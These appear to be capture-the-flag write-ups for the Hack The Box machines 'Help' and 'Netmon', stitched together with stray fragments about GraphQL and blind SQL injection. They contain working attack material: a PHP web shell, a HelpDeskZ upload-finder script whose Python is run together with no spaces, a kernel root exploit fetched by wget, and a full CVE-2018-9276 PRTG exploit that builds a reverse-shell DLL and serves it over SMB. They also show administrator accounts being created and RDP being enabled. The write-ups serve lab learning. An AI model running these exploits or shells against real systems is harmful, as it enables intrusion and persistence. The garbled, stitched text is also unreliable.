Let’s start with a masscan probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.121 --rate=1000
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-23 08:22:00 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.121
Discovered open port 80/tcp on 10.10.10.121
Discovered open port 3000/tcp on 10.10.10.121
masscan finds three open ports. Let’s do one better with nmap scanning the discovered ports.
# nmap -n -v -Pn -p22,80,3000 -A --reason 10.10.10.121 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http syn-ack ttl 63 Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
We have two http services in the form of Apache and Node.js.
The default Apache page suggests more enumeration needs to be done.
Directory/File Enumeration
Let’s fuzz it with gobuster and DirBuster’s wordlist just to see what we’ll get.
Searching Google for an exploit in HelpDeskZ led me to EDB-ID 40300. Anyway, it looks like the site is running the vulnerable version.
According to the exploit, HelpDeskZ suffers from an unauthenticated arbitrary file upload vulnerability where the software allows file attachment with ticket submission. The minor problem lies with determining the filename of the uploaded file. However, because the eventual file name depends on the time the file was uploaded, we can make an educated guess of the timestamp by shaving a couple of seconds from the current time.
Let’s submit a fake ticket and attach test.php, which is nothing more than the following PHP code.
<pre>
<?php echo shell_exec($_GET[0]); ?>
</pre>
Hmm. It says “File is not allowed”. Is that so? Let’s take a look at the source code controlling this behavior.
Two things worth nothing here. First of all, the final upload directory ends with tickets/. Second, regardless of the file verification results, the submission will ALWAYS progress to step 2 after the file has been uploaded.
In the words : Fake News!
…
Where is the upload directory? If I have to guess, I would say the actual upload directory is like this:
http://10.10.10.121/support/uploads/tickets/
I cheated a bit. I actually enumerated the site for directories at a deeper level.
Now, let’s re-purpose the exploit code and make it more adaptive to file extensions.
exploit.py
#
#Usage: python exploit.py http://10.10.10.121/support/uploads/tickets/ test.php
#importhashlibimporttimeimportsysimportrequestsprint'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'iflen(sys.argv)<3:print"Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])sys.exit(1)helpdeskzBaseUrl=sys.argv[1]fileName=sys.argv[2]extension=fileName.split(".")[-1]currentTime=int(time.time())forxinrange(0,300):plaintext=fileName+str(currentTime-x)md5hash=hashlib.md5(plaintext).hexdigest()url=helpdeskzBaseUrl+md5hash+'.'+extensionresponse=requests.head(url)ifresponse.status_code==200:print"found!"printurlsys.exit(0)print"Sorry, I did not find anything"
Armed with the insight gleaned from the source code, let’s upload again and find out where it’s uploaded to.
┌─[puck@parrot-lt]─[~/htb/help]
└──╼ $nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.121] 55704
/bin/sh: 0: can't access tty; job control turned off
$ cd /home
$ ls
help
Privilege Escalation
On enumerating the box the kernel version is found to be 4.4.0-116-generic. A google search results in a kernel exploit for the version. https://www.exploit-db.com/exploits/44298
Start a simple http server and transfer it to the box then execute it.
help@help:/tmp$ wget http://10.10.14.13/44298.c
--2019-08-29 04:40:29-- http://10.10.14.13/44298.c
Connecting to 10.10.14.13:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5777 (5.6K) [text/plain]
Saving to: ‘44298.c’
44298.c 100%[====================>] 5.64K --.-KB/s in 0s
2019-08-29 04:40:29 (162 MB/s) - ‘44298.c’ saved [5777/5777]
help@help:/tmp$ gcc 44298.c -o exploit
help@help:/tmp$ chmod +x exploit
help@help:/tmp$ whoami
help
help@help:/tmp$ ./exploit
task_struct = ffff880038a29c00
uidptr = ffff88003bcb2c04
spawning root shell
root@help:/tmp# cd /
root@help:/# cd root
root@help:/root# ls
root.txt
root@help:/root# cat root.txt
b7f*****b98
root@help:/root#
I was intrigued by the message that there’s a way to retrieve credentials by providing the right query. Turns out the Node.js service was running GraphQL, an open-source data query and manipulation language for APIs. I’m not familiar with GraphQL so this is an excellent opportunity to learn something about it.
The SQLi is in the last param. I can show by adding and 1=1-- - to the end of the url. Same download pop up. But if I add and 1=2-- - to the end of the url, I get:error -> thus blind isql injection
Let’s start off with scanning with the nmap to check open ports.
c:\PENTEST>nmap -Pn -sC -sV -oA netmon-nmap 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-28 09:02 W. Europe Summer Time
Nmap scan report for 10.10.10.152
Host is up (0.014s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM 1024 .rnd
| 02-25-19 10:15PM <DIR> inetpub
| 07-16-16 09:18AM <DIR> PerfLogs
| 02-25-19 10:56PM <DIR> Program Files
| 02-03-19 12:28AM <DIR> Program Files (x86)
| 02-03-19 08:08AM <DIR> Users
|_02-25-19 11:49PM <DIR> Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -37s, deviation: 0s, median: -37s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-08-28 09:02:38
|_ start_date: 2019-08-28 08:56:53
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds
We immediately proceed towards port 80 when we see it open. We find the PRTG Network Monitor page. But to use this dashboard, we need the login credentials.
In the nmap scan earlier, we saw that the FTP port 21 is open as well allows Anonymous Login. So, we login the FTP using the Anonymous as Login as well as password. After successfully logging, we use the ls command to list all the files that are shared. We see that we Users Directory available so we traverse into it using the cd command. Here, we have 2 more directories, Administrator and Public. We don’t have permission to access the Administrator directory so we move into the Public Directory. Here we find the user.txt file. We use the get command to download this file onto our system. Hence, we got our first flag, that is; the user flag.
c:\PENTEST>ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
200 OPTS UTF8 command successful - UTF8 encoding now ON.
User (10.10.10.152:(none)): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
08-28-19 02:56AM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-25-19 10:56PM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp: 785 bytes received in 0.03Seconds 28.04Kbytes/sec.
ftp> cd Users
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
Administrator
Public
226 Transfer complete.
ftp: 26 bytes received in 0.00Seconds 26000.00Kbytes/sec.
ftp> cd Administrator
550 Access is denied.
ftp> cd public
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
Documents
Downloads
Music
Pictures
user.txt
Videos
226 Transfer complete.
ftp: 60 bytes received in 0.00Seconds 30.00Kbytes/sec.
ftp> get user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp: 33 bytes received in 0.13Seconds 0.26Kbytes/sec.
ftp>
Now we need to get the root flag. we found this post. This gives us the location of the data that PRTG Network Monitor stores, that is “%programdata%\Paessler\PRTG Network Monitor”. As we still have the FTP connection, we went to ProgramData directory and then traversed all the way to the location mentioned. Here we located an old configuration file. We downloaded this file to our system so that we can analyse it closely.
ftp> cd ProgramData
250 CWD command successful.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 08:05AM <DIR> Application Data
02-03-19 08:05AM <DIR> Desktop
02-03-19 08:05AM <DIR> Documents
02-03-19 12:15AM <DIR> Licenses
11-20-16 10:36PM <DIR> Microsoft
02-03-19 12:18AM <DIR> Paessler
02-03-19 08:05AM <DIR> regid.1991-06.com.microsoft
07-16-16 09:18AM <DIR> SoftwareDistribution
02-03-19 08:05AM <DIR> Start Menu
02-03-19 12:15AM <DIR> TEMP
02-03-19 08:05AM <DIR> Templates
11-20-16 10:19PM <DIR> USOPrivate
11-20-16 10:19PM <DIR> USOShared
02-25-19 10:56PM <DIR> VMware
226 Transfer complete.
ftp: 729 bytes received in 0.07Seconds 11.22Kbytes/sec.
ftp> cd Paessler
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
PRTG Network Monitor
226 Transfer complete.
ftp: 25 bytes received in 0.00Seconds 25000.00Kbytes/sec.
After successfully downloading and searching through many lines of code, we stumbled upon the password, that was used previously. We took a guess here, as this was the previous configuration and it contains the year 2018 and whenever there is a current date in the password then they could be updated with the change in the date to the latest date.
This means, that the previous password was PrTg@dmin2018 and since the current year is 2019, we replaced 2018 in the password by 2019. This was an educated guess we made. So, using the new login credentials, we successfully logged in the PRTG Network Monitor Dashboard.
Login Name:prtgadminPassword:PrTg@dmin2019
After looking around the dashboard for some time, we didn’t find anything that could help So, we we searched the exploit dB for PRTG Network Monitor and found this exploit. On further researching on the internet about this exploit, we found this script on GitHub. This script creates a PowerShell file and then it uses it to run commands on the target system to create a user. But in order to work, it needs the cookie that was used in the original login in the dashboard of the PRTG Network Monitor. We capture the request using the Burp Suite. Upon close inspection of the captured packet, we find the cookie that we require.
Now, we clone the git directory that contains the script that we require to create a new user. After giving the necessary permissions to the file to run. We run the prtg-exploit.sh file, with the Target IP Address and the cookie, captured as parameters. This script can take some time to run depending on your connectivity speed. But after successfully running it creates a user with following credentials.
Now that, we have the user created on the target machine with Administrative Rights, let’s complete this challenge. , it didn’t work for me i used
root@kali:~/htb/netmon# python CVE-2018-9276.py -i 10.10.10.152 -p 80 --lhost 10.10.14.2 --lport 4444 --user prtgadmin --password PrTg@dmin2019
[+] [PRTG/18.1.37.13946] is Vulnerable!
[*] Exploiting [10.10.10.152:80] as [prtgadmin/PrTg@dmin2019]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] File staged at [C:\Users\Public\tester.txt] successfully with objid of [2018]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Notification with objid [2018] staged for execution
[*] Generate msfvenom payload with [LHOST=10.10.14.2 LPORT=4444 OUTPUT=/tmp/ngeafvls.dll]
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 5120 bytes
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Hosting payload at [\\10.10.14.2\PCBIRDQR]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Command staged at [C:\Users\Public\tester.txt] successfully with objid of [2019]
[+] Session obtained for [prtgadmin:PrTg@dmin2019]
[+] Notification with objid [2019] staged for execution
[*] Attempting to kill the impacket thread
[-] Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:445!
[-] ps aux | grep <script name> and kill -9 <pid> if it is still running :)
[-] The connection will eventually time out.
[+] Listening on [10.10.14.2:4444 for the reverse shell!]
listening on [any] 4444 ...
[*] Incoming connection (10.10.10.152,54363)
[*] AUTHENTICATE_MESSAGE (\,NETMON)
[*] User NETMON\ authenticated successfully
[*] :::00::4141414141414141
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.152] 54364
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>net user puck iestyle2019! /add
net user puck iestyle2019! /add
The command completed successfully.
C:\Windows\system32>net localgroup Administrators puck /add
net localgroup Administrators puck /add
The command completed successfully.
#!/usr/bin/python
#####################################################################################
#
# Title: PRTG < 18.2.39 Authenticated Command Injection (Reverse Shell)
# Reference: CVE-2018-9276
# https://nvd.nist.gov/vuln/detail/CVE-2018-9276
# Author: wildkindcc
# Date: 31/03/2019
# Description: Re-write of exploit released by M4LVO (https://www.exploit-db.com/exploits/46527)
# So skid friendly it even setups up netcat
#
#####################################################################################
import colorama
import argparse
import httplib, urllib
import traceback
import ssl
import random
import string
import json
import sys
import time
import os
from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash
import threading
import logging
import socket
#####################################################################################
# Adds colourised notifications to text
# Colourama is not neccesary for ANSI compliant terminals; however, it will make it work in windows.
colorama.init()
error = '\033[31m[!] \033[0m' # [!] Red
fail = '\033[31m[-] \033[0m' # [-] Red
success = '\033[32m[+] \033[0m' # [+] Green
event = '\033[34m[*] \033[0m' # [*] Blue
debug = '\033[35m[%] \033[0m' # [%] Magenta
notification = '[-] ' # [-]
#####################################################################################
# argparse
# https://docs.python.org/3.3/library/argparse.html#module-argparse
def get_args():
# This function parses and return arguments passed in
# Help (-h --help) is automagically defined.
# Assign description to the help doc
parser = argparse.ArgumentParser(
description='CVE-2018-9276')
# Add arguments
parser.add_argument(
'-i', '--host', type=str, help='IP address / Hostname of vulnerable PRTG server', required=True)
parser.add_argument(
'-p', '--port', type=str, help='Port number', required=True)
parser.add_argument(
'--lhost', type=str, help='LHOST for MSFVENOM', required=True)
parser.add_argument(
'--lport', type=str, help='LPORT for MSFVENOM', required=True)
parser.add_argument(
'--user', type=str, help='Administrator Username', required=False, default="prtgadmin")
parser.add_argument(
'--password', type=str, help='Administrator Password', required=False, default="prtgadmin")
parser.add_argument(
'--https', action='store_true', help='Negotiate SSL connection to the server (Requires socket to be compiled with SSL support)', required=False, default=None)
# Array for all arguments passed to script
args = parser.parse_args()
# Assign args to variables
host = args.host
port = args.port
lhost = args.lhost
lport = args.lport
user = args.user
password = args.password
https = args.https
# Return all variable values
return host, port, lhost, lport, user, password, https
#####################################################################################
host, port, lhost, lport, user, password, https = get_args()
url = "%s:%s" % (host, port)
def checkVersion():
# Check for SSL
if https:
conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = httplib.HTTPConnection(url)
conn.request("GET", "/")
response = conn.getresponse()
version = response.getheader('Server')
conn.close()
versionSplit = []
vulnerable = True
for var in version.split("/")[1].split(".")[:3]:
versionSplit.append(var)
if not int(versionSplit[0]) <= 18:
print versionSplit[0]
vulnerable = False
if not int(versionSplit[1]) <= 2:
print versionSplit[1]
vulnerable = False
if not int(versionSplit[2]) < 39:
print versionSplit[2]
vulnerable = False
if not vulnerable:
raise ValueError('Server returned version [{}]'.format(version), "Versions < 18.2.39 are vulnerable to CVE-2018-9276")
else:
print success + "[{}] is Vulnerable!".format(version)
return 0
def randomString(stringLength=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
# Connects to the PRTG server instance and retrieves a valid session cookie.
def get_session():
headers = {
'Content-Type' : 'application/x-www-form-urlencoded'
}
payload = "loginurl=%2Fmyaccount.htm%3Ftabid%3D2&username={}&password={}".format(user, password)
# Check for SSL
if https:
conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = httplib.HTTPConnection(url)
conn.request("POST", "/public/checklogin.htm", payload, headers)
response = conn.getresponse()
header = response.getheader('set-cookie')
conn.close()
if not header:
raise ValueError('Session not obtained. Check your usename/password and try again!')
else:
print success + "Session obtained for [{}:{}]".format(user, password)
session = header.split(";")[0]
return session
def createFile(fileLocation):
# Prepare the environment by creating an output file required for injection
session = get_session()
name = randomString()
headers = {
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' : 'XMLHttpRequest',
'Cookie' : str(session)
}
payload = "name_={}&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.bat&message_10=\"{}\"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2".format(name, urllib.quote_plus(fileLocation))
# Check for SSL
if https:
conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = httplib.HTTPConnection(url)
conn.request("POST", "/editsettings", payload, headers)
response = conn.getresponse()
objid = json.loads(response.read())['objid']
conn.close()
print success + "File staged at [{}] successfully with objid of [{}]".format(fileLocation, objid)
return objid
def prepareCommand(fileLocation, command):
session = get_session()
# File: log output which we require for injection
# Session: A valid session ID returned from get_session
name = randomString()
headers = {
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' : 'XMLHttpRequest',
'Cookie' : str(session)
}
payload = "name_={}&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=\"{};{}\"&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2".format(name, urllib.quote_plus(fileLocation), urllib.quote_plus(command))
# Check for SSL
if https:
conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = httplib.HTTPConnection(url)
conn.request("POST", "/editsettings", payload, headers)
#conn.debuglevel = 1
response = conn.getresponse()
#print response.status, response.reason
objid = json.loads(response.read())['objid']
conn.close()
print success + "Command staged at [{}] successfully with objid of [{}]".format(fileLocation, objid)
return objid
def notify(objid):
session = get_session()
headers = {
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' : 'XMLHttpRequest',
'Cookie' : str(session)
}
payload = "id={}".format(objid)
# Check for SSL
if https:
conn = httplib.HTTPSConnection(url, context=ssl._create_unverified_context())
else:
conn = httplib.HTTPConnection(url)
conn.request("POST", "/api/notificationtest.htm", payload, headers)
response = conn.getresponse()
data = response.read()
conn.close()
if 'EXE notification is queued up' not in data:
raise ValueError('Notify did not return the correct response.', data)
else:
print success + "Notification with objid [{}] staged for execution".format(objid)
return 0
def initialise(fileLocation):
objid = createFile(fileLocation)
time.sleep(5)
notify(objid)
def executeCommand(fileLocation, command):
objid = prepareCommand(fileLocation, command)
time.sleep(5)
notify(objid)
def generatePayload(output, lhost, lport):
print event + "Generate msfvenom payload with [LHOST={} LPORT={} OUTPUT={}]".format(lhost, lport, output)
os.system("msfvenom -p windows/shell_reverse_tcp LHOST="+ lhost + " LPORT="+ lport +" -f dll > " + output)
def hostPayload(lhost, outputDir, shareName):
server = smbserver.SimpleSMBServer(listenAddress=lhost, listenPort=445)
server.addShare(shareName, outputDir)
# If the host you're talking to doesnt support SMBv1 this can be uncommented to enable it. This is an experimental impacket feature.
#server.setSMB2Support(True)
server.setSMBChallenge('')
print event + "Hosting payload at [\\\\{}\{}]".format(lhost, shareName)
server.start()
time.sleep(5)
server.stop()
#####################################################################################
logging.basicConfig(level=logging.DEBUG, format=event + '%(message)s',)
# Simple error handling because
try:
# Default writable file location
fileLocation = 'C:\\Users\\Public\\tester.txt'
checkVersion()
print ""
print event + "Exploiting [%s:%s] as [%s/%s]" % (host, port, user, password)
shellName = randomString()
shareName = randomString().upper()
outputDir = "/tmp"
payload = "{}/{}.dll".format(outputDir,shellName)
shellLocation = "\\\\{}\\{}\\{}.dll".format(lhost, shareName, shellName)
initialise(fileLocation)
# Generate our reverse shell payload
generatePayload(payload, lhost, lport)
# Setup the threading to run an impacket server in the background
impacket = threading.Timer(0, hostPayload, args=(lhost, outputDir, shareName,))
impacket.setName('Impacket')
impacket.setDaemon(True)
impacket.start()
# Little sleep just to make sure everything is dandy
time.sleep(2)
command = "rundll32.exe " + shellLocation + ",0"
executeCommand(fileLocation, command)
# Close the SMB server when no longer required
print event + "Attempting to kill the impacket thread"
print notification + "Impacket will maintain its own thread for active connections, so you may find it's still listening on <LHOST>:445!"
print notification + "ps aux | grep <script name> and kill -9 <pid> if it is still running :)"
print notification + "The connection will eventually time out."
impacket.cancel()
print ""
print success + "Listening on [{}:{} for the reverse shell!]".format(lhost, lport)
os.system("nc -nvlp " + lport)
except ValueError as err:
for errors in err:
print error + errors
traceback.print_exc()
except Exception:
print error + "An unhandled exception has occured!"
traceback.print_exc()
root@kali:~/htb/netmon# smbmap -u puck -p 'iestyle2019!' -d netmon -H 10.10.10.152
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.152...
[+] IP: 10.10.10.152:445 Name: 10.10.10.152
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
root@kali:~/htb/netmon# smbclient -U puck //10.10.10.152/C$
Enter WORKGROUP\puck's password: iestyle2019!
Try "help" to get a list of possible commands.
smb: \> cd users
smb: \users\> cd administrator
smb: \users\administrator\> cd desktop
smb: \users\administrator\desktop\> dir
. DR 0 Sat Feb 2 23:35:23 2019
.. DR 0 Sat Feb 2 23:35:23 2019
desktop.ini AHS 282 Sun Feb 3 07:08:39 2019
root.txt A 33 Sat Feb 2 23:35:24 2019
5114367 blocks of size 4096. 2942845 blocks available
smb: \users\administrator\desktop\> type root.txt
type: command not found
smb: \users\administrator\desktop\> get root.txt
getting file \users\administrator\desktop\root.txt of size 33 as root.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
root@kali:~/htb# psexec.py 'puck:iestyle2019!@10.10.10.152'
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
[*] Requesting shares on 10.10.10.152.....
[*] Found writable share ADMIN$
[*] Uploading file NRMENACm.exe
[*] Opening SVCManager on 10.10.10.152.....
[*] Creating service LksA on 10.10.10.152.....
[*] Starting service LksA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type c:\users\administrator\desktop\root.txt
301*****7cc
* Enable RDP access
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0netsh firewall set service remoteadmin enablenetsh firewall set service remotedesktop enablenet user puck iestyle2019! /add ;net localgroup administrators puck /add
root@kali:~/htb/netmon# xfreerdp /u:"puck" /v:10.10.10.152:3389
[15:23:04:318] [2387:2388] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr
[15:23:04:450] [2387:2388] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:23:04:450] [2387:2388] [ERROR][com.freerdp.crypto] - @ WARNING: CERTIFICATE NAME MISMATCH! @
[15:23:04:450] [2387:2388] [ERROR][com.freerdp.crypto] - @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[15:23:04:450] [2387:2388] [ERROR][com.freerdp.crypto] - The hostname used for this connection (10.10.10.152:3389)
[15:23:04:451] [2387:2388] [ERROR][com.freerdp.crypto] - does not match the name given in the certificate:
[15:23:04:451] [2387:2388] [ERROR][com.freerdp.crypto] - Common Name (CN):
[15:23:04:451] [2387:2388] [ERROR][com.freerdp.crypto] - netmon
[15:23:04:451] [2387:2388] [ERROR][com.freerdp.crypto] - A valid certificate for the wrong name should NOT be trusted!
Certificate details for 10.10.10.152:3389 (RDP-Server):
Common Name: netmon
Subject: CN = netmon
Issuer: CN = netmon
Thumbprint: 86:b8:93:52:0b:cb:d3:63:ea:05:ca:ad:16:c0:ba:c4:25:e6:13:84
